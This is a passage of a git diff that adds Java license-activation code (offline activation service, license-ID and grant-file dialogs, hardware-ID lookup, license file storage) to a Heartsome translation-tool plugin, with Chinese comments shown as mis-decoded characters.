ProtectionFactory.getFileName(0, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT8; + } else { + FileUtils.removeFile(ProtectionFactory.getFileName(0, Constants.PRODUCTID)); + } + + byte[] key = FileUtils.readFile(fileName); + if (key == null) { + return Constants.EXCEPTION_INT1; + } + + byte[] t = new LicenseReader().getLicenseInfo(key); + if (t == null) { + return Constants.EXCEPTION_INT2; + } + + String[] arrInfo = getStrFromInfo(StringUtils.reverse(new String(t), 1, 5, 2)); + // 修改分隔符之åŽï¼Œæ—§ç‰ˆæœ¬çš„许å¯æ–‡ä»¶ä¼šå¯¼è‡´å¼‚常,所以需è¦åœ¨è¿™é‡Œåˆ¤æ–­ä¸€ä¸‹ï¼Œå¦‚果有异常,则会删掉原有文件,é‡æ–°æ¿€æ´»å³å¯ã€‚ + if (arrInfo.length<3){ + return Constants.STATE_INVALID; + } + String strKeyCode = arrInfo[0]; + String strMacCode = arrInfo[1]; + String strInstallCode = arrInfo[2]; + + LicenseIdValidator va = new LicenseIdValidator(strKeyCode); + if (!va.checkLicense()) { + return Constants.STATE_INVALID; + } + + if (!va.checkEdition()) { + return Constants.STATE_INVALID; + } + + if (va.getType()) { + return Constants.STATE_INVALID; + } + + String curMacCode = ProtectionFactory.getSeries(); + if (!strMacCode.equals(curMacCode)) { + return Constants.STATE_INVALID; + } + + byte[] b = FileUtils.readFile(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (b == null) { + return Constants.EXCEPTION_INT3; + } else { + b = InstallKeyEncrypt.decrypt(b); + if (b == null) { + return Constants.EXCEPTION_INT4; + } + } + + if (!StringUtils.reverse(new String(b), 1, 3, 2).equals(strInstallCode)) { + return Constants.STATE_INVALID; + } + + result = FileUtils.writeFile(key, ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT12; + } + + System.getProperties().setProperty("TSState", "true"); + return Constants.STATE_VALID; + } + + /** + * 生æˆå®‰è£…ç æ–‡ä»¶ + * @return ; + */ + public int generateInstallFile() { + boolean result = FileUtils.writeFile(new byte[] {'1','1'}, ProtectionFactory.getFileName(0, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT8; + } else { + FileUtils.removeFile(ProtectionFactory.getFileName(0, Constants.PRODUCTID)); + } + + IKeyGenerator gen = new KeyGeneratorImpl(); + installKey = gen.generateInstallKey(); + byte[] t = InstallKeyEncrypt.encrypt(StringUtils.handle(gen.getInstallKey(), 1, 3, 2).getBytes()); + if (t == null) { + return Constants.EXCEPTION_INT10; + } + result = FileUtils.writeFile(t, ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT11; + } + + return Constants.STATE_VALID; + } + + public int readInstallFile() { + byte[] b = FileUtils.readFile(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (b == null) { + return Constants.EXCEPTION_INT3; + } else { + b = InstallKeyEncrypt.decrypt(b); + if (b == null) { + return Constants.EXCEPTION_INT4; + } + } + + installKey = StringUtils.reverse(new String(b), 1, 3, 2); + + return Constants.STATE_INVALID; + } + + public String getInstallKey() { + return installKey; + } + + private String[] getStrFromInfo(String info) { + return info.split(Constants.SEPARATOR); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/OfflineActiveDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/OfflineActiveDialog.java new file mode 100644 index 0000000..ccb479d --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/OfflineActiveDialog.java @@ -0,0 +1,552 @@ +package net.heartsome.license; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.OffLineEncrypt; +import net.heartsome.license.generator.IKeyGenerator; +import net.heartsome.license.generator.KeyGeneratorImpl; +import net.heartsome.license.generator.LicenseIdGenerator; +import net.heartsome.license.resource.Messages; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.utils.StringUtils; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 脱机激活对è¯æ¡† + * @author karl + * @version + * @since JDK1.6 + */ +public class OfflineActiveDialog extends HsAbstractHelpDilog { + + private Cursor cursor = new Cursor(Display.getDefault(), SWT.CURSOR_HAND); + private Text text1; + private Text text2; + private Text text3; + private Text text4; + private Text text5; + private Text text6; + private Point p; + + protected OfflineActiveDialog(Shell parentShell) { + super(parentShell); + + } + + protected OfflineActiveDialog(Shell parentShell, Point p) { + super(parentShell); + this.p = p; + } + + + @Override + protected Point getInitialLocation(Point initialSize) { + if (p == null) { + return super.getInitialLocation(initialSize); + } else { + return p; + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Button backBtn = createButton(parent, IDialogConstants.BACK_ID, + Messages.getString("license.OfflineActiveDialog.backBtn"), false); + + backBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + setReturnCode(OK); + Point p = getShell().getLocation(); + close(); + ActiveMethodDialog dialog = new ActiveMethodDialog(getShell(), p); + dialog.open(); + } + + }); + + super.createButtonsForButtonBar(parent); + Button nextBtn = getButton(IDialogConstants.OK_ID); + nextBtn.setText(Messages.getString("license.LicenseAgreementDialog.nextBtn")); + Button exitBtn = getButton(IDialogConstants.CANCEL_ID); + exitBtn.setText(Messages.getString("license.LicenseAgreementDialog.exitBtn")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + + GridLayout layout = new GridLayout(); + layout.marginWidth = 10; + layout.marginTop = 10; + tparent.setLayout(layout); + + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Composite compNav = new Composite(tparent, SWT.NONE); + GridLayout navLayout = new GridLayout(); + compNav.setLayout(navLayout); + + createNavigation(compNav); + + Group groupLicenseId = new Group(tparent, SWT.NONE); + groupLicenseId.setText(Messages.getString("license.OfflineActiveDialog.licenseIdGroup")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(groupLicenseId); + GridLayout layoutGroup = new GridLayout(2, false); + layoutGroup.marginLeft = 5; + layoutGroup.marginHeight = 100; + groupLicenseId.setLayout(layoutGroup); + + Label label = new Label(groupLicenseId, SWT.NONE); + label.setText(Messages.getString("license.LicenseManageDialog.licenseIdLabel")); + + createIdInputComp(groupLicenseId); + + Composite compLink = new Composite(groupLicenseId, SWT.NONE); + RowLayout layoutLink = new RowLayout(); + layoutLink.marginTop = 20; + layoutLink.marginRight = 0; + layoutLink.marginLeft = 0; + layoutLink.marginBottom = 10; + compLink.setLayout(layoutLink); + GridData linkData = new GridData(GridData.FILL_HORIZONTAL); + linkData.horizontalSpan = 2; + compLink.setLayoutData(linkData); + + Label label1 = new Label(compLink, SWT.NONE); + label1.setText(Messages.getString("license.LicenseManageDialog.label1")); + + if (!"L".equals(System.getProperty("TSEdition"))) { + Label link1 = new Label(compLink, SWT.NONE); + link1.setText(Messages.getString("license.LicenseManageDialog.link1")); + link1.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + link1.setCursor(cursor); + link1.addMouseListener(new MouseListener() { + + public void mouseUp(MouseEvent e) { + + } + + public void mouseDown(MouseEvent e) { + Program.launch(Messages.getString("license.LicenseManageDialog.urlr8buy") + "&PRODUCT=" + + ProtectionFactory.getProduct() + "&PLATFORM=" + ProtectionFactory.getPlatform()); + } + + public void mouseDoubleClick(MouseEvent e) { + + } + }); + } else { + Label link2 = new Label(compLink, SWT.NONE); + link2.setText(Messages.getString("license.LicenseManageDialog.link2")); + link2.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + link2.setCursor(cursor); + link2.addMouseListener(new MouseListener() { + + public void mouseUp(MouseEvent e) { + + } + + public void mouseDown(MouseEvent e) { + Program.launch(Messages.getString("license.LicenseManageDialog.urlr8trial") + + "&PRODUCT=" + ProtectionFactory.getProduct() + "&PLATFORM=" + ProtectionFactory.getPlatform()); + } + + public void mouseDoubleClick(MouseEvent e) { + + } + }); + } + + Label label3 = new Label(compLink, SWT.NONE); + label3.setText(Messages.getString("license.LicenseManageDialog.label3")); + + return tparent; + } + + @Override + protected Point getInitialSize() { + return new Point(520, 470); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.LicenseManageDialog.title")); + } + + private void createNavigation(Composite parent) { + Label label = new Label(parent, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.operatenavigation")); + + RowLayout layout = new RowLayout(); + Composite comp = new Composite(parent, SWT.NONE); + comp.setLayout(layout); + + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.inputlicenseid")); + label.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.getactivekey")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.getgrantfile")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.activefinish")); + } + + private void createIdInputComp(Composite parent) { + Composite comp = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(11, false); + layout.marginHeight = 0; + layout.marginWidth = 0; + comp.setLayout(layout); + + GridData compData = new GridData(); + comp.setLayoutData(compData); + + GridData textData = new GridData(); + textData.widthHint = 40; + + GridData labelData = new GridData(); + labelData.widthHint = 5; + + text1 = new Text(comp,SWT.BORDER); + text1.setLayoutData(textData); + text1.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text1.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text1.setText(s.substring(0, 4)); + text2.setFocus(); + text2.setText(s.substring(4)); + } else if (length == 4) { + text2.setFocus(); + } + } + } else { + text1.setText(s.substring(0, i)); + break; + } + } + } + + }); + + Label label = new Label(comp,SWT.NONE); + label.setLayoutData(labelData); + + text2 = new Text(comp,SWT.BORDER); + text2.setLayoutData(textData); + text2.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text2.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text2.setText(s.substring(0, 4)); + text3.setFocus(); + text3.setText(s.substring(4)); + } else if (length == 4) { + text3.setFocus(); + } + } + } else { + text2.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp,SWT.NONE); + label.setLayoutData(labelData); + + text3 = new Text(comp,SWT.BORDER); + text3.setLayoutData(textData); + text3.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text3.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text3.setText(s.substring(0, 4)); + text4.setFocus(); + text4.setText(s.substring(4)); + } else if (length == 4) { + text4.setFocus(); + } + } + } else { + text3.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp,SWT.NONE); + label.setLayoutData(labelData); + + text4 = new Text(comp,SWT.BORDER); + text4.setLayoutData(textData); + text4.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text4.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text4.setText(s.substring(0, 4)); + text5.setFocus(); + text5.setText(s.substring(4)); + } else if (length == 4) { + text5.setFocus(); + } + } + } else { + text4.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp,SWT.NONE); + label.setLayoutData(labelData); + + text5 = new Text(comp,SWT.BORDER); + text5.setLayoutData(textData); + text5.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text5.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text5.setText(s.substring(0, 4)); + text6.setFocus(); + text6.setText(s.substring(4)); + } else if (length == 4) { + text6.setFocus(); + } + } + } else { + text5.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp,SWT.NONE); + label.setLayoutData(labelData); + + text6 = new Text(comp,SWT.BORDER); + text6.setLayoutData(textData); + text6.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text6.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text6.setText(s.substring(0, 4)); + } + } + } else { + text6.setText(s.substring(0, i)); + } + } + } + + }); + } + + private String getLicenseId() { + return text1.getText() + text2.getText() + text3.getText() + + text4.getText() + text5.getText() + text6.getText(); + } + + private String getVersionContent(String version) { + if ("U".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Ultimate"); + } else if ("F".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Professional"); + } else if ("P".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Personal"); + } else { + return Messages.getString("license.LicenseManageDialog.Lite"); + } + } + + @Override + protected void okPressed() { + LicenseIdValidator va = new LicenseIdValidator(getLicenseId()); + if (va.checkLicense()) { + if (va.getType()) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.OfflineActiveDialog.onlyCommercial")); + } else { + if (va.checkEdition()) { + String series = ProtectionFactory.getSeries(); + if (series == null || "".equals(series)) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + MessageFormat.format(Messages.getString("license.OfflineActiveDialog.getActiveKeyFail"), StringUtils.getErrorCode(Constants.EXCEPTION_INT5))); + return; + } + + String installKey = null; + OffLineActiveService v = new OffLineActiveService(); + if (FileUtils.isExsitInstall()) { + int r = v.readInstallFile(); + if (r == Constants.EXCEPTION_INT3 || r == Constants.EXCEPTION_INT4) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + MessageFormat.format(Messages.getString("license.OfflineActiveDialog.getActiveKeyFail"), StringUtils.getErrorCode(r))); + return; + } else { + installKey = v.getInstallKey(); + } + } else { + int r = v.generateInstallFile(); + if (r == Constants.EXCEPTION_INT8) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.OfflineActiveDialog.getActiveKeyByAdmin")); + System.exit(0); + } else if (r == Constants.EXCEPTION_INT10 || r == Constants.EXCEPTION_INT11) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + MessageFormat.format(Messages.getString("license.OfflineActiveDialog.getActiveKeyFail"), StringUtils.getErrorCode(r))); + return; + } else { + installKey = v.getInstallKey(); + } + } + + IKeyGenerator gen = new KeyGeneratorImpl(); + byte[] k = gen.generateKey(getLicenseId(), series, installKey, OffLineEncrypt.publicKey); + Point p = getShell().getLocation(); + super.okPressed(); + GetActiveKeyDialog dialog = new GetActiveKeyDialog(getShell(), StringUtils.toHexString(k), p); + dialog.open(); + } else { + String edition1 = getVersionContent(System.getProperty("TSEdition")); + String editionInput = new LicenseIdGenerator(getLicenseId()).getVersion(); + String edition2 = getVersionContent(editionInput); + String message = MessageFormat.format(Messages.getString("license.LicenseManageDialog.infoInvalid1"), edition1, edition2); + ArrayList> list = new ArrayList>(); + HashMap map1 = new HashMap(); + map1.put("start", message.indexOf(edition1)); + map1.put("length", edition1.length()); + list.add(map1); + HashMap map2 = new HashMap(); + map2.put("start", message.indexOf(edition2)); + map2.put("length", edition2.length()); + list.add(map2); + HashMap map3 = new HashMap(); + map3.put("start", message.lastIndexOf(edition1)); + map3.put("length", edition1.length()); + list.add(map3); + HashMap map4 = new HashMap(); + map4.put("start", message.lastIndexOf(edition2)); + map4.put("length", edition2.length()); + list.add(map4); + new CustomMessageDialog(getShell(), Messages.getString("license.LicenseManageDialog.titleInvalid"), message, list, editionInput).open(); + } + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.titleInvalid"), + Messages.getString("license.LicenseManageDialog.infoInvalid")); + } + } + + /** (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } + +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/ProtectionFactory.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/ProtectionFactory.java new file mode 100644 index 0000000..285987c --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/ProtectionFactory.java @@ -0,0 +1,112 @@ +package net.heartsome.license; + +import java.io.File; + +import net.heartsome.license.encrypt.Encrypt; +import net.heartsome.license.encrypt.EncryptRSA; + +import org.eclipse.jface.util.Util; + +public class ProtectionFactory { + + public static String getSeries() { + SeriesInterface s; + if (Util.isWindows()) { + s = new WindowsSeries(); + } else if (Util.isMac()) { + s = new MacosxSeries(); + } else { + s = new LinuxSeries(); + } + + return s.getSeries(); + } + + public static Encrypt getEncrypt() { + Encrypt en = new EncryptRSA(); + return en; + } + + public static String getFileName(int type, String productId) { + String fileName = ""; + if (type == 1) { + fileName = "file-permission"; + } else if (type == 2) { + fileName = "install"; + } else { + fileName = "123"; + } + + String folder = ""; + if (Util.isWindows()) { + folder = System.getenv("windir"); + File f1 = new File(folder); + if (!f1.exists()) { + f1.mkdirs(); + } + return System.getenv("windir") + "\\" + fileName + productId + ".inf"; + } else if (Util.isMac()) { + folder = System.getProperty("user.home") + "/.local"; + File f1 = new File(folder); + if (!f1.exists()) { + f1.mkdirs(); + } + return System.getProperty("user.home") + "/.local" + "/" + fileName + productId + ".eps"; + } else { + folder = System.getProperty("user.home") + "/.local"; + File f1 = new File(folder); + if (!f1.exists()) { + f1.mkdirs(); + } + return System.getProperty("user.home") + "/.local" + "/" + fileName + productId + ".msl"; + } + } + + public static String getPlatform() { + if (Util.isWindows()) { + if ("32".equals(System.getProperty("sun.arch.data.model"))) { + return "1"; + } else { + return "2"; + } + } else if (Util.isMac()) { + return "5"; + } else { + if ("32".equals(System.getProperty("sun.arch.data.model"))) { + return "3"; + } else { + return "4"; + } + } + } + + public static String getProduct() { + if("U".equals(System.getProperty("TSEdition"))) { + return "28"; + } else if ("F".equals(System.getProperty("TSEdition"))) { + return "30"; + } else if ("P".equals(System.getProperty("TSEdition"))) { + return "26"; + } else { + return "25"; + } + } + + public static String getProduct(String edition) { + if("U".equals(edition)) { + return "28"; + } else if ("F".equals(edition)) { + return "30"; + } else if ("P".equals(edition)) { + return "26"; + } else { + return "25"; + } + } + + public static String getVersion() { + String version = System.getProperty("TSVersionDate"); + version = version.substring(0, version.lastIndexOf(".")); + return version.replaceAll("[.]", "_"); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/SelectGrantFileDialog.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/SelectGrantFileDialog.java new file mode 100644 index 0000000..1931a2b --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/SelectGrantFileDialog.java @@ -0,0 +1,216 @@ +package net.heartsome.license; + +import java.io.File; +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.resource.Messages; +import net.heartsome.license.utils.StringUtils; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.PixelConverter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 选择授æƒæ–‡ä»¶çš„对è¯æ¡† + * @author karl + * @version + * @since JDK1.6 + */ +public class SelectGrantFileDialog extends HsAbstractHelpDilog { + + private Text textPath; + private Button btnScan; + private static final String[] FILE_IMPORT_MASK = { "*.lic" }; + private Point p; + + protected SelectGrantFileDialog(Shell parentShell) { + super(parentShell); + } + + protected SelectGrantFileDialog(Shell parentShell, Point p) { + super(parentShell); + this.p = p; + } + + @Override + protected Point getInitialLocation(Point initialSize) { + if (p == null) { + return super.getInitialLocation(initialSize); + } else { + return p; + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, Messages.getString("license.LicenseManageDialog.activeBtn"), true); + + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("license.LicenseManageDialog.exitBtn"), + false); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + + GridLayout layout = new GridLayout(); + layout.marginWidth = 10; + layout.marginTop = 10; + tparent.setLayout(layout); + + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Composite compNav = new Composite(tparent, SWT.NONE); + GridLayout navLayout = new GridLayout(); + compNav.setLayout(navLayout); + + createNavigation(compNav); + + Group groupFile = new Group(tparent, SWT.NONE); + groupFile.setText(Messages.getString("license.SelectGrantFileDialog.grantfile")); + GridDataFactory.fillDefaults().grab(true, true).applyTo(groupFile); + GridLayout layoutGroup = new GridLayout(3, false); + layoutGroup.marginWidth = 5; + layoutGroup.marginHeight = 100; + groupFile.setLayout(layoutGroup); + + Label label = new Label(groupFile, SWT.NONE); + label.setText(Messages.getString("license.SelectGrantFileDialog.grantfile1")); + + textPath = new Text(groupFile, SWT.BORDER); + textPath.setEditable(false); + + GridData pathData = new GridData(GridData.HORIZONTAL_ALIGN_FILL | GridData.GRAB_HORIZONTAL); + pathData.widthHint = new PixelConverter(textPath).convertWidthInCharsToPixels(25); + textPath.setLayoutData(pathData); + // browse button + btnScan = new Button(groupFile, SWT.PUSH); + btnScan.setText(Messages.getString("license.SelectGrantFileDialog.scan")); + setButtonLayoutData(btnScan); + + btnScan.addSelectionListener(new SelectionAdapter() { + /* + * (non-Javadoc) + * + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse .swt.events.SelectionEvent) + */ + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(textPath.getShell(), SWT.SHEET); + dialog.setFilterExtensions(FILE_IMPORT_MASK); + dialog.setText(Messages.getString("license.SelectGrantFileDialog.selectgrantfile")); + + String fileName = textPath.getText().trim(); + + if (fileName.length() != 0) { + File path = new File(fileName).getParentFile(); + if (path != null && path.exists()) { + dialog.setFilterPath(path.toString()); + } + } + + String path = dialog.open(); + if (path != null) { + textPath.setText(path); + } + } + + }); + + return tparent; + } + + @Override + protected Point getInitialSize() { + return new Point(520, 470); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.LicenseManageDialog.title")); + } + + private void createNavigation(Composite parent) { + Label label = new Label(parent, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.operatenavigation")); + + RowLayout layout = new RowLayout(); + Composite comp = new Composite(parent, SWT.NONE); + comp.setLayout(layout); + + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.inputlicenseid")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.getactivekey")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.getgrantfile")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.seperate")); + label = new Label(comp, SWT.NONE); + label.setText(Messages.getString("license.OfflineActiveDialog.activefinish")); + label.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + } + + + + @Override + protected void okPressed() { + String filepath = textPath.getText(); + if (filepath == null || "".equals(filepath)) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.SelectGrantFileDialog.selectfile")); + } else { + OffLineActiveService v = new OffLineActiveService(); + int result = v.activeByGrantFile(filepath); + if (result == Constants.STATE_VALID) { + super.okPressed(); + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.activeSuccess")); + } else if (result == Constants.STATE_INVALID) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.SelectGrantFileDialog.invalidfile")); + } else if (result == Constants.EXCEPTION_INT2) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.SelectGrantFileDialog.invalidfile1")); + } else if (result == Constants.EXCEPTION_INT8) { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.activeByAdmin")); + } else { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.notice"), + MessageFormat.format(Messages.getString("license.LicenseManageDialog.activeFail"), StringUtils.getErrorCode(result))); + } + } + } + + /** (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/Series.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/Series.java new file mode 100644 index 0000000..37421c5 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/Series.java @@ -0,0 +1,5 @@ +package net.heartsome.license; + +public class Series { + public native String getSeries(); +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/SeriesInterface.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/SeriesInterface.java new file mode 100644 index 0000000..eed7967 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/SeriesInterface.java @@ -0,0 +1,5 @@ +package net.heartsome.license; + +public interface SeriesInterface { + String getSeries(); +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/WindowsSeries.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/WindowsSeries.java new file mode 100644 index 0000000..93b73da --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/WindowsSeries.java @@ -0,0 +1,16 @@ +package net.heartsome.license; + +public class WindowsSeries implements SeriesInterface { + + public String getSeries() { + try { + System.loadLibrary("win_x86_Series_" + System.getProperty("sun.arch.data.model") + "bit"); + } catch (UnsatisfiedLinkError e) { + return null; + } catch (SecurityException sex) { + return null; + } + + return new Series().getSeries(); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/constants/Constants.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/constants/Constants.java new file mode 100644 index 0000000..4041b51 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/constants/Constants.java @@ -0,0 +1,80 @@ +package net.heartsome.license.constants; + +public class Constants { + + // 